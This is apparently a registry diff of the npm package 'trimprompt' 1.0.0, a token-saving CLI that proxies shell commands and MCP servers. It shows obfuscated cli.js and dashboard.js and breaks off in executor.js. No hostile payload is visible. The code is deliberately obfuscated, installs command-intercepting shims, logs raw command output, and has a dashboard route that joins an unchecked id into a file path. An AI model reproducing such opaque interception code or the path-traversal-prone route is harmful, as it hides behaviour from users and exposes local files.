trimprompt 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cli.js +2 -0
- package/dashboard.js +1 -0
- package/executor.js +1 -0
- package/filters/generic.js +1 -0
- package/filters/git.js +1 -0
- package/filters/index.js +1 -0
- package/filters/js.js +1 -0
- package/filters/python.js +1 -0
- package/index.html +779 -0
- package/mcp.js +1 -0
- package/package.json +18 -0
- package/redactor.js +1 -0
- package/seed.js +1 -0
- package/shims.js +1 -0
- package/simulate.js +1 -0
- package/sync.js +1 -0
- package/tracker.js +1 -0
package/cli.js
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';const a0_0x4c5a66=a0_0xfac6;(function(_0x44da67,_0x58a3c9){const _0x3208e3=a0_0xfac6,_0x34f36e=_0x44da67();while(!![]){try{const _0x1ef665=-parseInt(_0x3208e3(0x13b))/0x1*(-parseInt(_0x3208e3(0x16b))/0x2)+parseInt(_0x3208e3(0x1a0))/0x3*(parseInt(_0x3208e3(0x1b8))/0x4)+parseInt(_0x3208e3(0x1ad))/0x5*(parseInt(_0x3208e3(0x19d))/0x6)+-parseInt(_0x3208e3(0x163))/0x7+parseInt(_0x3208e3(0x133))/0x8+-parseInt(_0x3208e3(0x1b2))/0x9*(-parseInt(_0x3208e3(0x171))/0xa)+-parseInt(_0x3208e3(0x177))/0xb;if(_0x1ef665===_0x58a3c9)break;else _0x34f36e['push'](_0x34f36e['shift']());}catch(_0x3cd813){_0x34f36e['push'](_0x34f36e['shift']());}}}(a0_0x795b,0x7f579));var __createBinding=this&&this[a0_0x4c5a66(0x176)]||(Object[a0_0x4c5a66(0x14d)]?function(_0x136275,_0x3618e4,_0x4d74e2,_0x18f4f5){const _0x34f101=a0_0x4c5a66;if(_0x18f4f5===undefined)_0x18f4f5=_0x4d74e2;var _0x3c8d1c=Object[_0x34f101(0x132)](_0x3618e4,_0x4d74e2);(!_0x3c8d1c||(_0x34f101(0x16d)in _0x3c8d1c?!_0x3618e4['__esModule']:_0x3c8d1c['writable']||_0x3c8d1c[_0x34f101(0x141)]))&&(_0x3c8d1c={'enumerable':!![],'get':function(){return _0x3618e4[_0x4d74e2];}}),Object[_0x34f101(0x130)](_0x136275,_0x18f4f5,_0x3c8d1c);}:function(_0x41858e,_0x323743,_0x30fb2e,_0x5ec384){if(_0x5ec384===undefined)_0x5ec384=_0x30fb2e;_0x41858e[_0x5ec384]=_0x323743[_0x30fb2e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x454e62,_0x1b0efa){const _0x10160c=a0_0x4c5a66;Object[_0x10160c(0x130)](_0x454e62,_0x10160c(0x168),{'enumerable':!![],'value':_0x1b0efa});}:function(_0x41e9e3,_0xdb946c){const _0x2d8fb1=a0_0x4c5a66;_0x41e9e3[_0x2d8fb1(0x168)]=_0xdb946c;}),__importStar=this&&this['__importStar']||(function(){var _0x135793=function(_0x254d5a){return _0x135793=Object['getOwnPropertyNames']||function(_0x3533d4){const _0x5c5055=a0_0xfac6;var _0x18adc6=[];for(var _0x2161c3 in _0x3533d4)if(Object[_0x5c5055(0x189)]['hasOwnProperty'][_0x5c5055(0x13c)](_0x3533d4,_0x2161c3))_0x18adc6[_0x18adc6[_0x5c5055(0x1aa)]]=_0x2161c3;return _0x18adc6;},_0x135793(_0x254d5a);};return function(_0x46ab6d){const _0x2e05d8=a0_0xfac6;if(_0x46ab6d&&_0x46ab6d[_0x2e05d8(0x1ac)])return _0x46ab6d;var _0x43d89f={};if(_0x46ab6d!=null){for(var _0x2576a8=_0x135793(_0x46ab6d),_0x121dc1=0x0;_0x121dc1<_0x2576a8[_0x2e05d8(0x1aa)];_0x121dc1++)if(_0x2576a8[_0x121dc1]!==_0x2e05d8(0x168))__createBinding(_0x43d89f,_0x46ab6d,_0x2576a8[_0x121dc1]);}return __setModuleDefault(_0x43d89f,_0x46ab6d),_0x43d89f;};}());function a0_0xfac6(_0x1c52b5,_0x2036e2){_0x1c52b5=_0x1c52b5-0x12f;const _0x795ba2=a0_0x795b();let _0xfac613=_0x795ba2[_0x1c52b5];return _0xfac613;}Object[a0_0x4c5a66(0x130)](exports,a0_0x4c5a66(0x1ac),{'value':!![]});const commander_1=require('commander'),executor_1=require(a0_0x4c5a66(0x1a1)),filters_1=require(a0_0x4c5a66(0x17a)),tracker_1=require('./tracker'),shims_1=require('./shims'),dashboard_1=require(a0_0x4c5a66(0x17b)),program=new commander_1[(a0_0x4c5a66(0x143))]();function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0xa8b0e7,_0x2f507d){const _0x10eff2=a0_0x4c5a66,_0x5b69bc=_0xa8b0e7[_0x10eff2(0x19b)]();if(_0x5b69bc===_0x10eff2(0x12f)||_0x5b69bc===_0x10eff2(0x160)){const _0x5a814d=_0x2f507d[0x0];if(_0x5a814d===_0x10eff2(0x19a)){const _0x4e6d5b=_0x2f507d[_0x10eff2(0x153)](0x1),_0x1261dc=_0x4e6d5b[_0x10eff2(0x1aa)]===0x0||_0x4e6d5b['every'](_0x52dbd9=>{const _0x42438f=_0x10eff2;return _0x52dbd9==='-b'||_0x52dbd9===_0x42438f(0x151)||_0x52dbd9===_0x42438f(0x183)||_0x52dbd9===_0x42438f(0x14a)||_0x52dbd9==='-s'||_0x52dbd9===_0x42438f(0x18e);});if(_0x1261dc)return{'cmd':_0xa8b0e7,'args':['status',_0x10eff2(0x1a9),'-b']};}else{if(_0x5a814d===_0x10eff2(0x1a7)){const _0x40a9ff=_0x2f507d[_0x10eff2(0x153)](0x1),_0x58584b=_0x40a9ff[_0x10eff2(0x1ba)](_0xe83e9c=>_0xe83e9c[_0x10eff2(0x15d)](_0x10eff2(0x167))||_0xe83e9c[_0x10eff2(0x15d)]('--pretty')||_0xe83e9c[_0x10eff2(0x15d)](_0x10eff2(0x198))),_0x298d35=_0x40a9ff[_0x10eff2(0x1ba)](_0x451204=>_0x451204['startsWith']('-')&&/^\d+$/['test'](_0x451204[_0x10eff2(0x153)](0x1))||_0x451204==='-n'||_0x451204[_0x10eff2(0x15d)](_0x10eff2(0x157))),_0x234514=[..._0x2f507d];if(!_0x58584b){const _0x592b76=_0x10eff2(0x197);_0x234514[_0x10eff2(0x1b3)](process['platform']===_0x10eff2(0x155)?'\x22'+_0x592b76+'\x22':_0x592b76);}!_0x298d35&&(_0x58584b?_0x234514[_0x10eff2(0x1b3)](_0x10eff2(0x17e)):_0x234514[_0x10eff2(0x1b3)]('-10'));const _0x5a2aab=_0x40a9ff[_0x10eff2(0x1ba)](_0x329daf=>_0x329daf==='--merges'||_0x329daf===_0x10eff2(0x13d)||_0x329daf[_0x10eff2(0x15d)](_0x10eff2(0x161)));return!_0x5a2aab&&!_0x298d35&&_0x234514[_0x10eff2(0x1b3)](_0x10eff2(0x13d)),{'cmd':_0xa8b0e7,'args':_0x234514};}}}return{'cmd':_0xa8b0e7,'args':_0x2f507d};}function isMcpServerExecution(_0x19b4cc,_0x3942ea){const _0x2de1e7=a0_0x4c5a66,_0x1029a5=_0x19b4cc[_0x2de1e7(0x19b)](),_0x465041=_0x3942ea[_0x2de1e7(0x1c5)]('\x20')['toLowerCase']();if(_0x1029a5['includes'](_0x2de1e7(0x18d))&&(_0x1029a5[_0x2de1e7(0x13a)]('server')||_0x1029a5[_0x2de1e7(0x13a)](_0x2de1e7(0x1a2))))return!![];if(_0x1029a5===_0x2de1e7(0x1af)||_0x1029a5===_0x2de1e7(0x15c)||_0x1029a5===_0x2de1e7(0x1c2)||_0x1029a5===_0x2de1e7(0x140)||_0x1029a5==='pnpm'||_0x1029a5==='yarn'){if(_0x465041[_0x2de1e7(0x13a)]('@modelcontextprotocol/')||_0x465041[_0x2de1e7(0x13a)](_0x2de1e7(0x188))||_0x465041['includes'](_0x2de1e7(0x19e))||_0x465041[_0x2de1e7(0x13a)]('server-mcp'))return!![];}if(_0x3942ea[_0x2de1e7(0x1ba)](_0x496302=>{const _0x268c7a=_0x2de1e7,_0x8e0006=_0x496302[_0x268c7a(0x19b)]();return _0x8e0006[_0x268c7a(0x13a)]('mcp-server')||_0x8e0006[_0x268c7a(0x13a)](_0x268c7a(0x14c))||_0x8e0006[_0x268c7a(0x13a)](_0x268c7a(0x17c))||_0x8e0006==='mcp-proxy'||_0x8e0006===_0x268c7a(0x18d);}))return!![];return![];}async function runProxy(_0x436397){const _0x5f1f3f=a0_0x4c5a66;if(_0x436397[_0x5f1f3f(0x1aa)]===0x0){program[_0x5f1f3f(0x1a6)]();return;}const _0x4f58f4=_0x436397[0x0],_0x3898fe=_0x436397[_0x5f1f3f(0x153)](0x1),_0x3214b1=_0x436397[_0x5f1f3f(0x1c5)]('\x20');if(isDisabled()){const _0x94724b=await(0x0,executor_1[_0x5f1f3f(0x13e)])(_0x4f58f4,_0x3898fe);process['stdout'][_0x5f1f3f(0x19f)](_0x94724b[_0x5f1f3f(0x17d)]),process[_0x5f1f3f(0x16f)][_0x5f1f3f(0x19f)](_0x94724b[_0x5f1f3f(0x16f)]),process['exit'](_0x94724b[_0x5f1f3f(0x187)]);}if(isMcpServerExecution(_0x4f58f4,_0x3898fe)){console[_0x5f1f3f(0x169)]('[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...');const {runMcpProxy:_0x3012f3}=await Promise[_0x5f1f3f(0x1bb)]()[_0x5f1f3f(0x1b1)](()=>__importStar(require('./mcp')));_0x3012f3(_0x4f58f4,_0x3898fe);return;}const _0x54361a=adjustCommandArgs(_0x4f58f4,_0x3898fe),_0x24df98=await(0x0,executor_1[_0x5f1f3f(0x13e)])(_0x54361a[_0x5f1f3f(0x1c3)],_0x54361a[_0x5f1f3f(0x14e)]),_0x44b1df=(0x0,filters_1[_0x5f1f3f(0x138)])(_0x3214b1,_0x24df98[_0x5f1f3f(0x17d)],_0x24df98[_0x5f1f3f(0x16f)],tracker_1[_0x5f1f3f(0x150)]['getConfig']()['redaction_enabled']),_0x36afac=_0x24df98[_0x5f1f3f(0x17d)]+(_0x24df98[_0x5f1f3f(0x16f)]['trim']()[_0x5f1f3f(0x1aa)]>0x0?'\x0a'+_0x24df98[_0x5f1f3f(0x16f)]:'');tracker_1['tracker'][_0x5f1f3f(0x15f)](_0x3214b1,_0x36afac,_0x44b1df,_0x24df98[_0x5f1f3f(0x187)]),_0x24df98[_0x5f1f3f(0x187)]===0x0?process[_0x5f1f3f(0x17d)][_0x5f1f3f(0x19f)](_0x44b1df+'\x0a'):(process['stdout'][_0x5f1f3f(0x19f)](_0x44b1df+'\x0a'),_0x24df98[_0x5f1f3f(0x16f)][_0x5f1f3f(0x1b7)]()[_0x5f1f3f(0x1aa)]>0x0&&!_0x44b1df['includes'](_0x24df98[_0x5f1f3f(0x16f)]['trim']())&&process[_0x5f1f3f(0x16f)][_0x5f1f3f(0x19f)](_0x24df98[_0x5f1f3f(0x16f)]+'\x0a')),process[_0x5f1f3f(0x17f)](_0x24df98['exitCode']);}function a0_0x795b(){const _0x54c131=['total_raw_tokens','message','alias','compressed_cost_usd','__createBinding','11166826HurKyi','[server-args...]','install','./filters','./dashboard','@modelcontextprotocol/','stdout','-50','exit','command','./mcp','config\x20parameter\x20name','-sb','<key>','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','rewriteCommand','exitCode','modelcontextprotocol','prototype','toFixed','[value]','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','mcp','--short','name','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall','getStatsSummary','catch','Model\x20Context:\x20\x20\x20\x20\x20','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','version','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','--format','savings_percentage','status','toLowerCase','true','317418OFtlZb','mcp-server','write','3ejdSYu','./executor','proxy','\x20USD','toLocaleString','Install\x20or\x20uninstall\x20system\x20command\x20shims','help','log','startDashboard','--porcelain','length','claude-3-5-sonnet','__esModule','15oUbFmY','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','npx','\x20(before\x20Shave)','then','6064659ULLKcq','push','mcp-proxy','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','false','trim','257708XWNjDT','shims','some','resolve','=============================================\x0a','-m,\x20--model\x20<string>','argument','Estimated\x20Cost:\x20\x20\x20\x20$','uninstallShims','1.0.0','bun','cmd','stats','join','git','defineProperty','config','getOwnPropertyDescriptor','7350688fGHWtz','Reduction\x20Rate:\x20\x20\x20\x20','\x0a=============================================','---------------------------------------------','4000','compressOutput','test','includes','1qAdbcD','call','--no-merges','executeCommand','total_tokens_saved','npm','configurable','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','Command','argv','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','description','--help','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','setConfig','-bs','parse','server-mcp','create','args','<action>','tracker','--branch','port','slice','action','win32','uninstall','--max-count','Error:\x20Value\x20required\x20for\x20set\x20action','total_compressed_tokens','=============================================','Start\x20the\x20local\x20developer\x20dashboard','node','startsWith','\x20(after\x20Shave)','logExecution','yadm','--min-parents','model','5007065iRSIry','Error:\x20Action\x20must\x20be\x20get\x20or\x20set','option','rewrite','--oneline','default','error','dashboard','872462xcqXdH','Show\x20token\x20and\x20cost\x20savings\x20summary','get','-p,\x20--port\x20<number>','stderr','set','10wzzjRK'];a0_0x795b=function(){return _0x54c131;};return a0_0x795b();}program[a0_0x4c5a66(0x18f)](a0_0x4c5a66(0x1b7))[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x185))[a0_0x4c5a66(0x196)](a0_0x4c5a66(0x1c1)),program[a0_0x4c5a66(0x180)]('ui')[a0_0x4c5a66(0x174)](a0_0x4c5a66(0x16a))[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x15b))[a0_0x4c5a66(0x165)](a0_0x4c5a66(0x16e),'Port\x20to\x20run\x20the\x20dashboard\x20on',a0_0x4c5a66(0x137))['action'](_0x3cbe5d=>{const _0x159056=a0_0x4c5a66,_0x22e606=parseInt(_0x3cbe5d[_0x159056(0x152)],0xa);(0x0,dashboard_1[_0x159056(0x1a8)])(_0x22e606);}),program[a0_0x4c5a66(0x180)]('stats')[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x16c))['option'](a0_0x4c5a66(0x1bd),a0_0x4c5a66(0x1b5),a0_0x4c5a66(0x1ab))[a0_0x4c5a66(0x154)](_0x4a0869=>{const _0x488423=a0_0x4c5a66,_0x134c17=tracker_1[_0x488423(0x150)][_0x488423(0x192)](_0x4a0869[_0x488423(0x162)]);console[_0x488423(0x1a7)](_0x488423(0x135)),console[_0x488423(0x1a7)]('\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20'),console['log'](_0x488423(0x15a)),console[_0x488423(0x1a7)](_0x488423(0x194)+_0x134c17['model_name']),console['log']('Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20'+_0x134c17[_0x488423(0x172)]['toLocaleString']()),console[_0x488423(0x1a7)](_0x488423(0x1ae)+_0x134c17[_0x488423(0x159)][_0x488423(0x1a4)]()),console[_0x488423(0x1a7)](_0x488423(0x148)+_0x134c17[_0x488423(0x13f)][_0x488423(0x1a4)]()),console[_0x488423(0x1a7)](_0x488423(0x134)+_0x134c17[_0x488423(0x199)]+'%'),console[_0x488423(0x1a7)](_0x488423(0x1bf)+_0x134c17['raw_cost_usd'][_0x488423(0x18a)](0x4)+_0x488423(0x1b0)),console[_0x488423(0x1a7)](_0x488423(0x195)+_0x134c17[_0x488423(0x175)][_0x488423(0x18a)](0x4)+_0x488423(0x15e)),console[_0x488423(0x1a7)](_0x488423(0x136)),console['log'](_0x488423(0x18c)+_0x134c17['money_saved_usd'][_0x488423(0x18a)](0x4)+_0x488423(0x1a3)),console[_0x488423(0x1a7)](_0x488423(0x1bc));}),program[a0_0x4c5a66(0x180)](a0_0x4c5a66(0x131))[a0_0x4c5a66(0x146)]('Manage\x20local\x20configuration\x20parameters')[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x14f),'get\x20or\x20set')[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x184),a0_0x4c5a66(0x182))[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x18b),'value\x20to\x20set')[a0_0x4c5a66(0x154)]((_0x455c9c,_0x5146fd,_0x8d9756)=>{const _0x334609=a0_0x4c5a66;if(_0x455c9c===_0x334609(0x16d)){const _0xb4bb06=tracker_1[_0x334609(0x150)]['getConfig']();console[_0x334609(0x1a7)](_0x5146fd+':\x20'+_0xb4bb06[_0x5146fd]);}else{if(_0x455c9c===_0x334609(0x170)){_0x8d9756===undefined&&(console[_0x334609(0x169)](_0x334609(0x158)),process[_0x334609(0x17f)](0x1));let _0x111a47=_0x8d9756;if(_0x8d9756===_0x334609(0x19c))_0x111a47=!![];if(_0x8d9756===_0x334609(0x1b6))_0x111a47=![];if(/^\d+$/[_0x334609(0x139)](_0x8d9756))_0x111a47=parseInt(_0x8d9756,0xa);tracker_1['tracker'][_0x334609(0x149)](_0x5146fd,_0x111a47),console[_0x334609(0x1a7)]('Config\x20set\x20'+_0x5146fd+'\x20=\x20'+_0x8d9756);}else console[_0x334609(0x169)](_0x334609(0x164)),process['exit'](0x1);}}),program[a0_0x4c5a66(0x180)]('shims')[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x1a5))[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x14f),'install\x20or\x20uninstall')[a0_0x4c5a66(0x154)](_0x15a9c6=>{const _0x24b5e3=a0_0x4c5a66;if(_0x15a9c6===_0x24b5e3(0x179)){const _0x3b761a=(0x0,shims_1['installShims'])();console[_0x24b5e3(0x1a7)](_0x3b761a[_0x24b5e3(0x173)]);}else{if(_0x15a9c6===_0x24b5e3(0x156)){const _0x56cdf4=(0x0,shims_1[_0x24b5e3(0x1c0)])();console['log'](_0x56cdf4['message']);}else console[_0x24b5e3(0x169)](_0x24b5e3(0x191)),process[_0x24b5e3(0x17f)](0x1);}}),program[a0_0x4c5a66(0x180)](a0_0x4c5a66(0x166))[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x145))[a0_0x4c5a66(0x1be)]('<commandLine>','Command\x20line\x20to\x20evaluate')[a0_0x4c5a66(0x154)](_0x5931c3=>{const _0x4850fb=a0_0x4c5a66;if(isDisabled()){console[_0x4850fb(0x1a7)](_0x5931c3);return;}const _0x3c3e86=(0x0,filters_1[_0x4850fb(0x186)])(_0x5931c3);console[_0x4850fb(0x1a7)](_0x3c3e86);}),program[a0_0x4c5a66(0x180)](a0_0x4c5a66(0x1b4))[a0_0x4c5a66(0x174)](a0_0x4c5a66(0x18d))[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x142))[a0_0x4c5a66(0x1be)]('<server-command>',a0_0x4c5a66(0x190))[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x178),'Arguments\x20for\x20the\x20target\x20MCP\x20server')[a0_0x4c5a66(0x154)](async(_0xada103,_0x5eca6f)=>{const _0x51ab8b=a0_0x4c5a66,{runMcpProxy:_0x485d4a}=await Promise['resolve']()[_0x51ab8b(0x1b1)](()=>__importStar(require(_0x51ab8b(0x181))));_0x485d4a(_0xada103,_0x5eca6f);});const args=process[a0_0x4c5a66(0x144)][a0_0x4c5a66(0x153)](0x2),firstArg=args[0x0],subcommands=['ui','dashboard',a0_0x4c5a66(0x1c4),'config',a0_0x4c5a66(0x1b9),a0_0x4c5a66(0x166),a0_0x4c5a66(0x1b4),'mcp',a0_0x4c5a66(0x1a6),a0_0x4c5a66(0x147),'-h',a0_0x4c5a66(0x196),'--version','-v'];firstArg&&!subcommands[a0_0x4c5a66(0x13a)](firstArg)?runProxy(args)[a0_0x4c5a66(0x193)](_0x4c04da=>{const _0x38fe41=a0_0x4c5a66;console['error']('[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20'+_0x4c04da[_0x38fe41(0x173)]),process[_0x38fe41(0x17f)](0x1);}):program[a0_0x4c5a66(0x14b)](process['argv']);
|
package/dashboard.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x33c126=a0_0x16b9;function a0_0x5b3f(){const _0x4b4cd1=['.raw.txt','get','9608ZkuXjc','writable','startDashboard','join','logs','138wFIbbJ','111856Qtfaoo','__setModuleDefault','http://localhost:','log','20aoXPUa','json','.trimprompt','getStatsSummary','5164650blJjvo','error','__importDefault','sendFile','EADDRINUSE','code','/api/stats/summary','Compressed\x20output\x20log\x20file\x20not\x20found.','index.html','query','getLogs','Raw\x20output\x20log\x20file\x20not\x20found.','readFileSync','25731ZZUVrE','model','1000970MiOnWg','default','/api/stats/history','tracker','931818esSWoE','.comp.txt','../src/index.html','__esModule','existsSync','create','490420FgGtPz','homedir','auto','77KqmLXU','params','message','hasOwnProperty','listen','3437VduRWX','__createBinding','catch','defineProperty','length','open','utf8','__importStar','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','./tracker','call','path'];a0_0x5b3f=function(){return _0x4b4cd1;};return a0_0x5b3f();}(function(_0x1e74bb,_0x596755){const _0x536d7a=a0_0x16b9,_0x2b3664=_0x1e74bb();while(!![]){try{const _0x5ec5fc=-parseInt(_0x536d7a(0x8c))/0x1+-parseInt(_0x536d7a(0x8b))/0x2*(parseInt(_0x536d7a(0xa1))/0x3)+-parseInt(_0x536d7a(0x70))/0x4+-parseInt(_0x536d7a(0x90))/0x5*(parseInt(_0x536d7a(0xa7))/0x6)+parseInt(_0x536d7a(0x78))/0x7*(parseInt(_0x536d7a(0x86))/0x8)+parseInt(_0x536d7a(0x94))/0x9+-parseInt(_0x536d7a(0xa3))/0xa*(-parseInt(_0x536d7a(0x73))/0xb);if(_0x5ec5fc===_0x596755)break;else _0x2b3664['push'](_0x2b3664['shift']());}catch(_0x18d384){_0x2b3664['push'](_0x2b3664['shift']());}}}(a0_0x5b3f,0x65bde));var __createBinding=this&&this[a0_0x33c126(0x79)]||(Object[a0_0x33c126(0x6f)]?function(_0xb51a74,_0xd24e18,_0x1cd73d,_0x4cf5b0){const _0x301127=a0_0x33c126;if(_0x4cf5b0===undefined)_0x4cf5b0=_0x1cd73d;var _0x1da960=Object['getOwnPropertyDescriptor'](_0xd24e18,_0x1cd73d);(!_0x1da960||('get'in _0x1da960?!_0xd24e18['__esModule']:_0x1da960[_0x301127(0x87)]||_0x1da960['configurable']))&&(_0x1da960={'enumerable':!![],'get':function(){return _0xd24e18[_0x1cd73d];}}),Object[_0x301127(0x7b)](_0xb51a74,_0x4cf5b0,_0x1da960);}:function(_0x35cd05,_0x203f3b,_0x3b1414,_0x50d318){if(_0x50d318===undefined)_0x50d318=_0x3b1414;_0x35cd05[_0x50d318]=_0x203f3b[_0x3b1414];}),__setModuleDefault=this&&this[a0_0x33c126(0x8d)]||(Object[a0_0x33c126(0x6f)]?function(_0x355219,_0x2dda69){const _0x21703c=a0_0x33c126;Object[_0x21703c(0x7b)](_0x355219,'default',{'enumerable':!![],'value':_0x2dda69});}:function(_0x32c060,_0x43cd63){const _0x1eda39=a0_0x33c126;_0x32c060[_0x1eda39(0xa4)]=_0x43cd63;}),__importStar=this&&this[a0_0x33c126(0x7f)]||(function(){var _0x5d61f8=function(_0x5ddbdd){return _0x5d61f8=Object['getOwnPropertyNames']||function(_0x94746c){const _0x42eab9=a0_0x16b9;var _0x11d33e=[];for(var _0xa69c94 in _0x94746c)if(Object['prototype'][_0x42eab9(0x76)][_0x42eab9(0x82)](_0x94746c,_0xa69c94))_0x11d33e[_0x11d33e[_0x42eab9(0x7c)]]=_0xa69c94;return _0x11d33e;},_0x5d61f8(_0x5ddbdd);};return function(_0x1abe63){const _0x18c9dd=a0_0x16b9;if(_0x1abe63&&_0x1abe63[_0x18c9dd(0x6d)])return _0x1abe63;var _0x3587bf={};if(_0x1abe63!=null){for(var _0x5f28e9=_0x5d61f8(_0x1abe63),_0x250f51=0x0;_0x250f51<_0x5f28e9['length'];_0x250f51++)if(_0x5f28e9[_0x250f51]!==_0x18c9dd(0xa4))__createBinding(_0x3587bf,_0x1abe63,_0x5f28e9[_0x250f51]);}return __setModuleDefault(_0x3587bf,_0x1abe63),_0x3587bf;};}()),__importDefault=this&&this[a0_0x33c126(0x96)]||function(_0x346a08){const _0x2cb645=a0_0x33c126;return _0x346a08&&_0x346a08[_0x2cb645(0x6d)]?_0x346a08:{'default':_0x346a08};};Object['defineProperty'](exports,a0_0x33c126(0x6d),{'value':!![]}),exports[a0_0x33c126(0x88)]=startDashboard;const express_1=__importDefault(require('express')),path=__importStar(require(a0_0x33c126(0x83))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x33c126(0x7d))),tracker_1=require(a0_0x33c126(0x81)),app=(0x0,express_1[a0_0x33c126(0xa4)])(),baseDir=path[a0_0x33c126(0x89)](os[a0_0x33c126(0x71)](),a0_0x33c126(0x92)),logsDir=path[a0_0x33c126(0x89)](baseDir,a0_0x33c126(0x8a));function a0_0x16b9(_0x17442a,_0x3476da){_0x17442a=_0x17442a-0x6d;const _0x5b3fc0=a0_0x5b3f();let _0x16b99c=_0x5b3fc0[_0x17442a];return _0x16b99c;}app['get']('/',(_0x5cde77,_0x30214b)=>{const _0x4178c5=a0_0x33c126,_0x339042=path[_0x4178c5(0x89)](__dirname,_0x4178c5(0x9c));fs[_0x4178c5(0x6e)](_0x339042)?_0x30214b[_0x4178c5(0x97)](_0x339042):_0x30214b[_0x4178c5(0x97)](path[_0x4178c5(0x89)](__dirname,_0x4178c5(0xa9)));}),app[a0_0x33c126(0x85)](a0_0x33c126(0x9a),(_0xe53738,_0xc85248)=>{const _0x3e98d8=a0_0x33c126,_0xee66a5=_0xe53738[_0x3e98d8(0x9d)][_0x3e98d8(0xa2)]||_0x3e98d8(0x72),_0x3fd30e=tracker_1['tracker'][_0x3e98d8(0x93)](_0xee66a5);_0xc85248[_0x3e98d8(0x91)](_0x3fd30e);}),app[a0_0x33c126(0x85)](a0_0x33c126(0xa5),(_0x210970,_0x39d3fd)=>{const _0x2f7c62=a0_0x33c126,_0x2f6988=tracker_1[_0x2f7c62(0xa6)][_0x2f7c62(0x9e)]();_0x39d3fd[_0x2f7c62(0x91)](_0x2f6988);}),app[a0_0x33c126(0x85)]('/api/stats/inspect/:id',(_0x1654e6,_0x2785fb)=>{const _0x584b69=a0_0x33c126,_0x340295=_0x1654e6[_0x584b69(0x74)]['id'],_0x37ce84=path[_0x584b69(0x89)](logsDir,_0x340295+_0x584b69(0x84)),_0x30299b=path['join'](logsDir,_0x340295+_0x584b69(0xa8));let _0xa10f6f=_0x584b69(0x9f),_0x2ed1e9=_0x584b69(0x9b);try{fs[_0x584b69(0x6e)](_0x37ce84)&&(_0xa10f6f=fs[_0x584b69(0xa0)](_0x37ce84,_0x584b69(0x7e))),fs[_0x584b69(0x6e)](_0x30299b)&&(_0x2ed1e9=fs['readFileSync'](_0x30299b,_0x584b69(0x7e)));}catch(_0x473dde){}_0x2785fb[_0x584b69(0x91)]({'id':_0x340295,'raw':_0xa10f6f,'compressed':_0x2ed1e9});});function startDashboard(_0xd3656e=0xfa0){const _0x59758d=a0_0x33c126;let _0x56033d=_0xd3656e;const _0x44b834=app[_0x59758d(0x77)](_0x56033d,()=>{const _0x2e2194=_0x59758d,_0x1d680f=_0x2e2194(0x8e)+_0x56033d;console[_0x2e2194(0x8f)](_0x2e2194(0x80)+_0x1d680f),console[_0x2e2194(0x8f)]('Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.'),(0x0,open_1[_0x2e2194(0xa4)])(_0x1d680f)[_0x2e2194(0x7a)](()=>{});});_0x44b834['on'](_0x59758d(0x95),_0xb1c6e5=>{const _0x25992b=_0x59758d;_0xb1c6e5[_0x25992b(0x99)]===_0x25992b(0x98)?startDashboard(_0x56033d+0x1):console['error']('[TrimPrompt]\x20Dashboard\x20error:\x20'+_0xb1c6e5[_0x25992b(0x75)]);});}
|
package/executor.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';var a0_0x16712a=a0_0x5859;(function(_0x5207bb,_0x5c9b39){var _0x2311bb=a0_0x5859,_0x5b280b=_0x5207bb();while(!![]){try{var _0x5ec2ce=-parseInt(_0x2311bb(0xc6))/0x1+-parseInt(_0x2311bb(0xc1))/0x2+parseInt(_0x2311bb(0xdf))/0x3*(-parseInt(_0x2311bb(0xc9))/0x4)+-parseInt(_0x2311bb(0xc4))/0x5+parseInt(_0x2311bb(0xd3))/0x6+-parseInt(_0x2311bb(0xc3))/0x7*(parseInt(_0x2311bb(0xce))/0x8)+-parseInt(_0x2311bb(0xda))/0x9*(-parseInt(_0x2311bb(0xd1))/0xa);if(_0x5ec2ce===_0x5c9b39)break;else _0x5b280b['push'](_0x5b280b['shift']());}catch(_0x41988b){_0x5b280b['push'](_0x5b280b['shift']());}}}(a0_0x5961,0xc3019));function a0_0x5859(_0x65f1f2,_0x3fb026){_0x65f1f2=_0x65f1f2-0xb8;var _0x59615a=a0_0x5961();var _0x5859bd=_0x59615a[_0x65f1f2];return _0x5859bd;}function a0_0x5961(){var 